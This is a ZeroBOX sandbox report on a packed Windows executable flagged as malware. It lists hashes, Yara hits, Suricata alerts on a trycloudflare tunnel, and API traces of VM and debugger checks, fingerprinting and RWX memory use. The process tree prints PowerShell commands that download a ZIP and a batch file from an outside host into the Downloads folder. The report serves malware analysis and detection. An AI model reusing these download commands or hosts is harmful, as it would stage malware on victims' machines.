Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	March 28, 2025, 9:46 a.m.	March 28, 2025, 9:49 a.m.

Size	1021.7KB
Type	PE32+ executable (GUI) x86-64, for MS Windows
MD5	`587e8ed72fc10291f254ec3880f2fe29`
SHA256	`b09d0cf474258a44a711c8d41771a8f6ff88365e7b7994f000d0b57962be963f`
CRC32	`9A250906`
ssdeep	`24576:prORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9Tvasmd:p2EYTb8atv1orq+pEiSDTj1VyvBasA`
Yara	PE_Header_Zero - PE File Signature Malicious_Library_Zero - Malicious_Library IsPE64 - (no description) Generic_Malware_Zero - Generic Malware OS_Processor_Check_Zero - OS Processor Check UPX_Zero - UPX packed file

cmd.exe cmd /c C:\Users\test22\AppData\Local\Temp\testing.bat
1300
- powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://teamvontaxi-koblenz.it.com:6382/TaxPrep.zip' -OutFile 'C:\Users\test22\Downloads\CPAdocxs.zip' } catch { exit 1 }"
  2764
- powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://teamvontaxi-koblenz.it.com:6382/TaxPrep.zip' -OutFile 'C:\Users\test22\Downloads\CPAdocxs.zip' } catch { exit 1 }"
  3036
- powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://teamvontaxi-koblenz.it.com:6382/CPA.bat' -OutFile 'C:\Users\test22\Downloads\CPA.bat' }"
  904

Name	Response	Post-Analysis Lookup
right-championships-junior-pubs.trycloudflare.com	A 104.16.231.132 A 104.16.230.132	104.16.230.132

IP Address	Status	Action
104.16.230.132	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.102:63709 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
TCP 192.168.56.102:49162 -> 104.16.230.132:443	2058175	ET HUNTING TryCloudFlare Domain in TLS SNI	Misc activity
TCP 192.168.56.102:49162 -> 104.16.230.132:443	2060250	ET INFO Observed trycloudflare .com Domain in TLS SNI	Misc activity
TCP 192.168.56.102:49162 -> 104.16.230.132:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49162 104.16.230.132:443	C=US, O=Google Trust Services, CN=WR1	CN=trycloudflare.com	c1:f5:d9:f4:2e:e4:62:4a:93:1f:06:f7:a0:22:d4:38:59:bf:bd:94

Queries for the computername (12 events)

Time & API	Arguments	Status	Return
GetComputerNameW March 28, 2025, 9:48 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:48 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:48 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:48 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 28, 2025, 9:48 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:48 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:49 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:49 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:49 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:49 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 28, 2025, 9:49 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:49 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 28, 2025, 9:48 a.m.			0	0
IsDebuggerPresent March 28, 2025, 9:49 a.m.			0	0

Command line console output was observed (8 events)

Time & API	Arguments	Status	Return
WriteConsoleW March 28, 2025, 9:48 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:48 a.m.	buffer: cls console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:48 a.m.	buffer: '■' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1
WriteConsoleW March 28, 2025, 9:48 a.m.	buffer: Searching for PDF files in the Downloads folder... console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:48 a.m.	buffer: No PDF files found in the Downloads folder. console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:48 a.m.	buffer: Downloading ZIP file from http://teamvontaxi-koblenz.it.com:6382/TaxPrep.zip ... console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:49 a.m.	buffer: Failed to download the ZIP file. console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:49 a.m.	buffer: Downloading startup file... console_handle: 0x0000000000000007	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 84 events)

Time & API	Arguments	Status	Return
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002cfeb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52910 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52910 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52910 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b527c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b527c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52980 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52980 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52980 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52980 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52750 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52750 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52750 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52d00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b531d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b531d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b531d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b53160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b53160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52750 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b52750 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b53160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b53160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b53160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002cfd60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002cfd60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002cfd60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002cfd60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b82050 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b82050 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b824b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:48 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000002b824b0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:49 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000033f3e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:49 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b474590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:49 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b474590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:49 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b474590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:49 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b474520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:49 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b474520 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:49 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b474bb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:49 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b474bb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 28, 2025, 9:48 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 344 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002a10000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef22d1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2550000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2550000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2550000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2550000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2550000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2551000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2551000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2551000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2551000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef254e000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00022000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00012000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002ac2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002ac4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00023000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00024000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00112000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000ed000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00025000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00160000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00013000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00026000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00113000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
